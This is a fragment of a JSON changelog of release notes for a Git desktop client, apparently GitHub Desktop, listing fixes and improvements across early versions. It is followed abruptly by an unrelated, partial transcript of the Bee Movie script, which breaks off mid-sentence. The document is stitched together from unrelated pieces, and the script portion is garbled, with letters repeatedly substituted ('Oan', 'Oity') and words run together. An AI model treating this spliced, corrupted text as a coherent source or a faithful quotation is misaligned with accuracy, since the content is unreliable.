Windows: Make `github` CLI work in Git Bash - #2712", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta1": [ "[Improved] Clone error message now suggests networking might be involved - #2872. Thanks @agisilaos!", "[Improved] Include push/pull progress information in the push/pull button tooltip - #2879", "[Improved] Allow publishing a brand new, empty repository - #2773", "[Improved] Make file paths in lists selectable - #2801. Thanks @artivilla!", "[Fixed] Use the initial path provided when creating a new repository - #2883", "[Fixed] Windows: Avoid long path limits when discarding changes - #2833", "[Fixed] Files would get deleted when undoing the first commit - #2764", "[Fixed] Find the repository root before adding it - #2832", "[Fixed] Display warning about an existing folder before cloning - #2777 #2830", "[Fixed] Show contents of directory when showing a repository from Show in Explorer/Finder instead of showing the parent - #2798" ], "1.0.2-beta0": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1": [ "[Improved] Message for GitHub Enterprise users when there is a network error - #2574. Thanks @agisilaos!", "[Fixed] Disable LFS hook creation when cloning - #2809", "[Fixed] Use the new URL for the \"Show User Guides\" menu item - #2792. Thanks @db6edr!", "[Fixed] Make the SHA selectable when viewing commit details - #1154", "[Fixed] Windows: Make `github` CLI work in Git Bash - #2712" ], "1.0.1-beta0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0": [ "[Fixed] Use the loading/disabled state while publishing - #1995", "[Fixed] Lock down menu item states for unborn repositories - #2744 #2573", "[Fixed] Windows: Detecting the available shells and editors when using a language other than English - #2735" ], "1.0.0-beta3": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.1": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "1.0.0-beta2": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.9.0": [ "[New] Allow users to create repositories with descriptions - #2719. Thanks @davidcelis!", "[New] Use `lfs clone` for faster cloning of LFS repositories - #2679", "[Improved] Prompt to override existing LFS filters - #2693", "[Fixed] Don't install LFS hooks when checking if a repo uses LFS - #2732", "[Fixed] Ensure nothing is staged as part of undoing the first commit - #2656", "[Fixed] \"Clone with Desktop\" wouldn't include the repository name in the path - #2704" ], "0.8.2": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[New] Option to opt-out of confirming discarding changes - #2681", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta1": [ "[New] Option to to opt-out of confirming discarding changes - #2681", "[Fixed] Windows: Don't rely on PATH for knowing where to find chcp - #2678", "[Fixed] Relocating a repository now actually does that - #2685", "[Fixed] Clicking autocompletes inserts them - #2674", "[Fixed] Use shift for shortcut chord instead of alt - #2607", "[Fixed] macOS: \"Open in Terminal\" works with repositories with spaces in their path - #2682" ], "1.0.0-beta0": [ "[New] Ask to install LFS filters when an LFS repository is added - #2227", "[New] Clone GitHub repositories tab - #57", "[Fixed] Long commit summary truncation - #1742", "[Fixed] Ensure the repository list is always enabled - #2648", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Clicking the \"Cancel\" button on the Publish Branch dialog - #2646" ], "0.8.1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488", "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502", "[Fixed] Windows: Detecting the available shells and editors when using a non-ASCII user encoding - #2624", "[Fixed] Ensure the repository list is always accessible - #2648" ], "0.8.1-beta4": [ "[Improved] Persist repository filter text after closing repository list - #2571", "[Improved] Redesigned example commit in the Welcome flow - #2141", "[Improved] Tidy up initial \"external editor\" experience - #2551", "[Fixed] Missing \"View on GitHub\" menu item for non-Gitub repositories - #2615", "[Fixed] New tab opened when pressing \"]\" for certain keyboard layouts - #2607", "[Fixed] Windows: Crash when exiting full screen - #1502" ], "0.8.1-beta3": [ "[New] Windows: Enable adding self-signed certificates - #2581", "[Improved] Adds ability to close repository list using shortcut - #2532", "[Improved] Switch default buttons in the Publish Branch dialog - #2515", "[Improved] Bring back \"Contact Support\" - #1472", "[Fixed] Properly identify repositories whose remotes have a trailing slash - #2584", "[Fixed] Windows: Fix launching the `github` command line tool - #2563", "[Fixed] Use the primary email address if it's public - #2244", "[Fixed] Local branch not checked out after clone - #2561", "[Fixed] Only the most recent 30 issues would autocomplete for GitHub Enterprise repositories - #2541" ], "0.8.1-beta2": [ "[Fixed] Branch list not rendered in app - #2531", "[Fixed] Git operations checking certificate store - #2520" ], "0.8.1-beta1": [ "[New] 'Open in Shell' now supports multiple shells - #2473", "[Improved] Enhanced image diffs - #2383", "[Improved] Line diffs - #2461", "[Improved] Octicons updated - #2495", "[Fixed] 'Include All' checkbox not in sync with partial selection - #2493", "[Fixed] Copied text from diff removed valid characters - #2499", "[Fixed] Click-focus on Windows would dismiss dialog - #2488" ], "0.8.1-beta0": [], "0.8.0": [ "[New] Added commit context menu - #2434", "[New] Added 'Open in External Editor' - #2009", "[New] Can choose whether a branch should be deleted on the remote as well as locally - #2136", "[New] Support authenticating with non-GitHub servers - #852", "[New] Added the ability to revert a commit - #752", "[New] Added a keyboard shortcut for opening the repository in the shell - #2138", "[Improved] Copied diff text no longer includes the line changetype markers - #1499", "[Improved] Fetch if a push fails because they need to pull first - #2431", "[Improved] Discard changes performance - #1889", "[Fixed] Show 'Add Repository' dialog when repository is dragged onto the app - #2442", "[Fixed] Dialog component did not remove event handler - #2469", "[Fixed] Open in External Editor context menu - #2475", "[Fixed] Update to Git 2.14.1 to fix security vulnerability - #2432", "[Fixed] Recent branches disappearing after renaming a branch - #2426", "[Fixed] Changing the default branch on GitHub.com is now reflected in the app - #1489", "[Fixed] Swap around some callouts for no repositories - #2447", "[Fixed] Darker unfocused selection color - #1669", "[Fixed] Increase the max sidebar width - #1588", "[Fixed] Don't say \"Publish this branch to GitHub\" for non-GitHub repositories - #1498", "[Fixed] macOS: Protocol schemes not getting registered - #2429", "[Fixed] Patches which contain the \"no newline\" marker would fail to apply - #2123", "[Fixed] Close the autocompletion popover when it loses focus - #2358", "[Fixed] Clear the selected org when switching Publish Repository tabs - #2386", "[Fixed] 'Create Without Pushing' button throwing an exception while opening a pull request - #2368", "[Fixed] Windows: Don't removing the running app out from under itself when there are updates pending - #2373", "[Fixed] Windows: Respect `core.autocrlf` and `core.safeclrf` when modifying the .gitignore - #1535", "[Fixed] Windows: Fix opening the app from the command line - #2396" ], "0.7.3-beta5": [], "0.7.3-beta4": [], "0.7.3-beta3": [], "0.7.3-beta2": [], "0.7.3-beta1": [], "0.7.3-beta0": [], "0.7.2": ["[Fixed] Issues with auto-updating to 0.7.1."], "0.7.2-beta0": [], "0.7.1": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Improved] Version text is now copiable - #1935", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta5": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Improved] Create Pull Request dialog shows more feedback while it's working - #2265", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299", "[Fixed] Help menu items now work - #2314", "[Fixed] Windows: `github` command line tool not installing after updating - #2312", "[Fixed] Caret position jumping around while changing the path for adding a local repository - #2222", "[Fixed] Error dialogs being closed too easily - #2211", "[Fixed] Windows: Non-ASCII credentials were mangled - #189" ], "0.7.1-beta4": [], "0.7.1-beta3": [], "0.7.1-beta2": [], "0.7.1-beta1": [], "0.7.1-beta0": [ "[Improved] Redesigned error and warning dialogs to be clearer - #2277", "[Fixed] Preserve existing GitHub API information when API requests fail - #2282", "[Fixed] Pass through error messages as received from the API - #2279", "[Fixed] The Pull and Create Pull Request menu items had the same shortcut - #2274", "[Fixed] Launching the `github` command line tool from a Fish shell - #2299" ], "0.7.0": [ "[New] Added the Branch > Create Pull Request menu item - #2135", "[New] Added the `github` command line tool - #696", "[Improved] Better error message when publishing a repository fails - #2089", "[Improved] Windows: Don't recreate the desktop shortcut if it's been deleted - #1759", "[Fixed] Cloning a repository's wiki - #1624", "[Fixed] Don't call GitHub Enterprise GitHub.com - #2094", "[Fixed] Don't push after publishing a new repository if the branch is unborn - #2086", "[Fixed] Don't close dialogs when clicking the title bar - #2056", "[Fixed] Windows: Clicking 'Show in Explorer' doesn't bring Explorer to the front - #2127", "[Fixed] Windows: Opening links doesn't bring the browser to the front - #1945", "[Fixed] macOS: Closing the window wouldn't exit fullscreen - #1901", "[Fixed] Scale blankslate images so they look nicer on high resolution displays - #1946", "[Fixed] Windows: Installer not completing or getting stuck in a loop - #1875 #1863", "[Fixed] Move the 'Forgot Password' link to fix the tab order of the sign in view - #2200" ], "0.6.3-beta7": [], "0.6.3-beta6": [], "0.6.3-beta5": [], "0.6.3-beta4": [], "0.6.3-beta3": [], "0.6.3-beta2": [], "0.6.3-beta1": [], "0.6.3-beta0": [], "0.6.2": [ "[New] Link to User Guides from the Help menu - #1963", "[New] Added the 'Open in External Editor' contextual menu item to changed files - #2023", "[New] Added the 'Show' and 'Open Command Prompt' contextual menu items to repositories - #1554", "[New] Windows: Support self-signed or untrusted certificates - #671", "[New] Copy the SHA to the clipboard when clicked - #1501", "[Improved] Provide the option of initializing a new repository when adding a directory that isn't already one - #969", "[Improved] Link to the working directory when there are no changes - #1871", "[Improved] Hitting Enter when selecting a base branch creates the new branch - #1780", "[Improved] Prefix repository names with their owner if they are ambiguous - #1848", "[Fixed] Sort and filter licenses like GitHub.com - #1987", "[Fixed] Long branch names not getting truncated in the Rename Branch dialog - #1891", "[Fixed] Prune old log files - #1540", "[Fixed] Ensure the local path is valid before trying to create a new repository - #1487", "[Fixed] Support cloning repository wikis - #1624", "[Fixed] Disable the Select All checkbox when there are no changes - #1389", "[Fixed] Changed docx files wouldn't show anything in the diff panel - #1990", "[Fixed] Disable the Merge button when there are no commits to merge - #1359", "[Fixed] Username/password authentication not working for GitHub Enterprise - #2064", "[Fixed] Better error messages when an API call fails - #2017", "[Fixed] Create the 'logs' directory if it doesn't exist - #1550", "[Fixed] Enable the 'Remove' menu item for missing repositories - #1776" ], "0.6.1": [ "[Fixed] Properly log stats opt in/out - #1949", "[Fixed] Source maps for exceptions in the main process - #1957", "[Fixed] Styling of the exception dialog - #1956", "[Fixed] Handle ambiguous references - #1947", "[Fixed] Handle non-ASCII text in diffs - #1970", "[Fixed] Uncaught exception when hitting the arrow keys after showing autocompletions - #1971", "[Fixed] Clear the organizations list when publishing a new repository and switching between tabs - #1969", "[Fixed] Push properly when a tracking branch has a different name from the local branch - #1967", "[Improved] Warn when line endings will change - #1906" ], "0.6.0": [ "[Fixed] Issue autocompletion not working for older issues - #1814", "[Fixed] GitHub repository association not working for repositories with some remote URL formats - #1826 #1679", "[Fixed] Don't try to delete a remote branch that no longer exists - #1829", "[Fixed] Tokens created by development builds would be used in production builds but wouldn't work - #1727", "[Fixed] Submodules can now be added - #708", "[Fixed] Properly handle the case where a file is added to the index but removed from the working tree - #1310", "[Fixed] Use a local image for the default avatar - #1621", "[Fixed] Make the file path in diffs selectable - #1768", "[Improved] More logging! - #1823", "[Improved] Better error message when trying to add something that's not a repository - #1747", "[Improved] Copy the shell environment into the app's environment - #1796", "[Improved] Updated to Git 2.13.0 - #1897", "[Improved] Add 'Reveal' to the contextual menu for changed files - #1566", "[Improved] Better handling of large diffs - #1818 #1524", "[Improved] App launch time - #1900" ], "0.5.9": [ "[New] Added Zoom In and Zoom Out - #1217", "[Fixed] Various errors when on an unborn branch - #1450", "[Fixed] Disable push/pull menu items when there is no remote - #1448", "[Fixed] Better error message when the GitHub Enterprise version is too old - #1628", "[Fixed] Error parsing non-JSON responses - #1505 #1522", "[Fixed] Updated the 'Install Git' help documentation link - #1797", "[Fixed] Disable menu items while in the Welcome flow - #1529", "[Fixed] Windows: Fall back to HOME if Document cannot be found - #1825", "[Improved] Close the window when an exception occurs - #1562", "[Improved] Always use merge when pulling - #1627", "[Improved] Move the 'New Branch' menu item into the Branch menu - #1757", "[Improved] Remove Repository's default button is now Cancel - #1751", "[Improved] Only fetch the default remote - #1435", "[Improved] Faster commits with many files - #1405", "[Improved] Measure startup time more reliably - #1798", "[Improved] Prefer the GitHub repository name instead of the name on disk - #664" ], "0.5.8": [ "[Fixed] Switching tabs in Preferences/Settings or Repository Settings would close the dialog - #1724", "[Improved] Standardized colors which improves contrast and readability - #1713" ], "0.5.7": [ "[Fixed] Windows: Handle protocol events which launch the app - #1582", "[Fixed] Opting out of stats reporting in the Welcome flow - #1698", "[Fixed] Commit description text being too light - #1695", "[Fixed] Exception on startup if the app was activated too quickly - #1564", "[Improved] Default directory for cloning now - #1663", "[Improved] Accessibility support - #1289", "[Improved] Lovely blank slate illustrations - #1708" ], "0.5.6": [ "[Fixed] macOS: The buttons in the Untrusted Server dialog not doing anything - #1622", "[Fixed] Better warning in Rename Branch when the branch will be created with a different name than was entered - #1480", "[Fixed] Provide a tooltip for commit summaries in the History list - #1483", "[Fixed] Prevent the Update Available banner from getting squished - #1632", "[Fixed] Title bar not responding to double-clicks - #1590 #1655", "[Improved] Discard All Changes is now accessible by right-clicking the file column header - #1635" ], "0.5.5": [ "[Fixed] Save the default path after creating a new repository - #1486", "[Fixed] Only let the user launch the browser once for the OAuth flow - #1427", "[Fixed] Don't linkify invalid URLs - #1456", "[Fixed] Excessive padding in the Merge Branch dialog - #1577", "[Fixed] Octicon pixel alignment issues - #1584", "[Fixed] Windows: Invoking some menu items would break the window's snapped state - #1603", "[Fixed] macOS: Errors authenticating while pushing - #1514", "[Fixed] Don't linkify links in the History list or in Undo - #1548 #1608 #1474", "[Fixed] Diffs not working when certain git config values were set - #1559" ], "0.5.4": [ "[Fixed] The release notes URL pointed to the wrong page - #1503", "[Fixed] Only create the `logs` directory if it doesn't already exist - #1510", "[Fixed] Uncaught exception creating a new repository if you aren't a member of any orgs - #1507", "[Fixed] Only report the first uncaught exception - #1517", "[Fixed] Include the name of the default branch in the New Branch dialog - #1449", "[Fixed] Uncaught exception if a network error occurred while loading user email addresses - #1522 #1508", "[Fixed] Uncaught exception while performing a contextual menu action - #1532", "[Improved] Move all error logging to the main process - #1473", "[Improved] Stats reporting reliability - #1561" ], "0.5.3": [ "[Fixed] Display of large image diffs - #1494", "[Fixed] Discard Changes spacing - #1495" ], "0.5.2": [ "[Fixed] Display errors that happen while publishing a repository - #1396", "[Fixed] Menu items not updating - #1462", "[Fixed] Always select the first changed file - #1306", "[Fixed] macOS: Use Title Case consistently - #1477 #1481", "[Fixed] Create Branch padding - #1479", "[Fixed] Bottom padding in commit descriptions - #1345", "[Improved] Dialog polish - #1451", "[Improved] Store logs in a logs directory - #1370", "[Improved] New Welcome illustrations - #1471", "[Improved] Request confirmation before removing a repository - #1233", "[Improved] Windows icon polish - #1457" ], "0.5.1": [ "[New] Windows: A nice little gif while installing the app - #1440", "[Fixed] Disable pinch zoom - #1431", "[Fixed] Don't show carriage return indicators in diffs - #1444", "[Fixed] History wouldn't update after switching branches - #1446", "[Improved] Include more information in exception reports - #1429", "[Improved] Updated Terms and Conditions - #1438", "[Improved] Sub-pixel anti-aliasing in some lists - #1452", "[Improved] Windows: A new application identifier, less likely to collide with other apps - #1441" ], "0.5.0": [ "[Added] Menu item for showing the app logs - #1349", "[Fixed] Don't let the two-factor authentication dialog be submitted while it's empty - #1386", "[Fixed] Undo Commit showing the wrong commit - #1373", "[Fixed] Windows: Update the icon used for the installer - #1410", "[Fixed] Undoing the first commit - #1401", "[Fixed] A second window would be opened during the OAuth dance - #1382", "[Fixed] Don't include the comment from the default merge commit message - #1367", "[Fixed] Show progress while committing - #923", "[Fixed] Windows: Merge Branch sizing would be wrong on high DPI monitors - #1210", "[Fixed] Windows: Resize the app from the top left corner - #1424", "[Fixed] Changing the destination path for cloning a repository now appends the repository's name - #1408", "[Fixed] The blank slate view could be visible briefly when the app launched - #1398", "[Improved] Performance updating menu items - #1321", "[Improved] Windows: Dim the title bar when the app loses focus - #1189" ], "0.0.39": ["[Fixed] An uncaught exception when adding a user - #1394"], "0.0.38": [ "[New] Shiny new icon! - #1221", "[New] More helpful blank slate view - #871", "[Fixed] Don't allow Undo while pushing/pulling/fetching - #1047", "[Fixed] Updating the default branch on GitHub wouldn't be reflected in the app - #1028 #1314", "[Fixed] Long repository names would overflow their container - #1331", "[Fixed] Removed development menu items in production builds - #1031 #1251 #1323 #1340", "[Fixed] Create Branch no longer changes as it's animating closed - #1304", "[Fixed] Windows: Cut / Copy / Paste menu items not working - #1379", "[Improved] Show a better error message when the user tries to authenticate with a personal access token - #1313", "[Improved] Link to the repository New Issue page from the Help menu - #1349", "[Improved] Clone in Desktop opens the Clone dialog - #918" ], "0.0.37": [ "[Fixed] Better display of the 'no newline at end of file' indicator - #1253", "[Fixed] macOS: Destructive dialogs now use the expected button order - #1315", "[Fixed] Display of submodule paths - #785", "[Fixed] Incomplete stats submission - #1337", "[Improved] Redesigned welcome flow - #1254", "[Improved] App launch time - #1225", "[Improved] Handle uncaught exceptions - #1106" ], "0.0.36": [ "[Fixed] Bugs around associating an email address with a GitHub user - #975", "[Fixed] Use the correct reference name for an unborn branch - #1283", "[Fixed] Better diffs for renamed files - #980", "[Fixed] Typo in Create Branch - #1303", "[Fixed] Don't allow whitespace-only branch names - #1288", "[Improved] Focus ring polish - #1287", "[Improved] Less intrusive update notifications - #1136", "[Improved] Faster launch time on Windows - #1309", "[Improved] Faster git information refreshing - #1305", "[Improved] More consistent use of sentence case on Windows - #1316", "[Improved] Autocomplete polish - #1241" ], "0.0.35": [ "[New] Show push/pull/fetch progress - #1238", "[Fixed] macOS: Add the Zoom menu item - #1260", "[Fixed] macOS: Don't show the titlebar while full screened - #1247", "[Fixed] Windows: Updates would make the app unresponsive - #1269", "[Fixed] Windows: Keyboard navigation in menus - #1293", "[Fixed] Windows: Repositories list item not working - #1293", "[Fixed] Auto updater errors not being propagated properly - #1266", "[Fixed] Only show the current branch tooltip on the branches button - #1275", "[Fixed] Double path truncation - #1270", "[Fixed] Sometimes toggling a file's checkbox would get undone - #1248", "[Fixed] Uncaught exception when internet connectivity was lost - #1048", "[Fixed] Cloned repositories wouldn't be associated with their GitHub repository - #1285", "[Improved] Better performance on large repositories - #1281", "[Improved] Commit summary is now expandable when the summary is long - #519", "[Improved] The SHA in historical commits is now selectable - #1154", "[Improved] The Create Branch dialog was polished and refined - #1137" ], "0.0.34": [ "[New] macOS: Users can choose whether to accept untrusted certificates - #671", "[New] Windows: Users are prompted to install git when opening a shell if it is not installed - #813", "[New] Checkout progress is shown if branch switching takes a while - #1208", "[New] Commit summary and description are automatically populated for merge conflicts - #1228", "[Fixed] Cloning repositories while not signed in - #1163", "[Fixed] Merge commits are now created as merge commits - #1216", "[Fixed] Display of diffs with /r newline - #1234", "[Fixed] Windows: Maximized windows are no longer positioned slightly off screen - #1202", "[Fixed] JSON parse errors - #1243", "[Fixed] GitHub Enterprise repositories were not associated with the proper Enterprise repository - #1242", "[Fixed] Timestamps in the Branches list would wrap - #1255", "[Fixed] Merges created from pulling wouldn't use the right git author - #1262", "[Improved] Check for update errors are suppressed if they happen in the background - #1104, #1195", "[Improved] The shortcut to show the repositories list is now command or control-T - #1220", "[Improved] Command or control-W now closes open dialogs - #949", "[Improved] Less memory usage while parsing large diffs - #1235" ], "0.0.33": ["[Fixed] Update Now wouldn't update now - #1209"], "0.0.32": [ "[New] You can now disable stats reporting from Preferences > Advanced - #1120", "[New] Acknowledgements are now available from About - #810", "[New] Open pull requests from dot com in the app - #808", "[Fixed] Don't show background fetch errors - #875", "[Fixed] No more surprise and delight - #620", "[Fixed] Can't discard renamed files - #1177", "[Fixed] Logging out of one account would log out of all accounts - #1192", "[Fixed] Renamed files truncation - #695", "[Fixed] Git on Windows now integrates with the system certificate store - #706", "[Fixed] Cloning with an account/repoository shortcut would always fail - #1150", "[Fixed] OS version reporting - #1130", "[Fixed] Publish a new repository would always fail - #1046", "[Fixed] Authentication would fail for the first repository after logging in - #1118", "[Fixed] Don't flood the user with errors if a repository disappears on disk - #1132", "[Improved] The Merge dialog uses the Branches list instead of a drop down menu - #749", "[Improved] Lots of design polish - #1188, #1183, #1170, #1184, #1181, #1179, #1142, #1125" ], "0.0.31": [ "[New] Prompt user to login when authentication error occurs - #903", "[New] Windows application has a new app menu, replaces previous hamburger menu - #991", "[New] Refreshed colours to align with GitHub website scheme - #1077", "[New] Custom about dialog on all platforms - #1102", "[Fixed] Improved error handling when probing for a GitHub Enterprise server - #1026", "[Fixed] User can cancel 2FA flow - #1057", "[Fixed] Tidy up current set of menu items - #1063", "[Fixed] Manually focus the window when a URL action has been received - #1072", "[Fixed] Disable middle-click event to prevent new windows being launched - #1074", "[Fixed] Pre-fill the account name in the Welcome wizard, not login - #1078", "[Fixed] Diffs wouldn't work if an external diff program was configured - #1123", "[Improved] Lots of design polish work - #1113, #1099, #1094, #1077" ], "0.0.30": [ "[Fixed] Crash when invoking menu item due to incorrect method signature - #1041" ], "0.0.29": [ "[New] Commit summary and description fields now display issues and mentions as links for GitHub repositories - #941", "[New] Show placeholder when the repository cannot be found on disk - #946", "[New] New Repository actions moved out of popover and into new menu - #1018", "[Fixed] Display a helpful error message when an unverified user signs into GitHub Desktop - #1010", "[Fixed] Fix kerning issue when access keys displayed - #1033", "[Fixed] Protected branches show a descriptive error when the push is rejected - #1036", "[Fixed] 'Open in shell' on Windows opens to repository location - #1037" ], "0.0.28": ["[Fixed] Bumping release notes to test deployments again"], "0.0.27": [ "[Fixed] 2FA dialog when authenticating has information for SMS authentication - #1009", "[Fixed] Autocomplete for users handles accounts containing `-` - #1008" ], "0.0.26": [ "[Fixed] Address deployment issue by properly documenting release notes" ], "0.0.25": [ "[Added] Autocomplete displays user matches - #942", "[Fixed] Handle Enter key in repository and branch list when no matches exist - #995", "[Fixed] 'Add Repository' button displays in dropdown when repository list empty - #984", "[Fixed] Correct icon displayed for non-GitHub repository - #964 #955", "[Fixed] Enter key when inside dialog submits form - #956", "[Fixed] Updated URL handler entry on macOS - #945", "[Fixed] Commit button is disabled while commit in progress - #940", "[Fixed] Handle index state change when gitginore change is discarded - #935", "[Fixed] 'Create New Branch' view squashes branch list when expanded - #927", "[Fixed] Application creates repository path if it doesn't exist on disk - #925", "[Improved] Preferences sign-in flow updated to standalone dialogs - #961" ], "0.0.24": ["Changed a thing", "Added another thing"] } }

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was 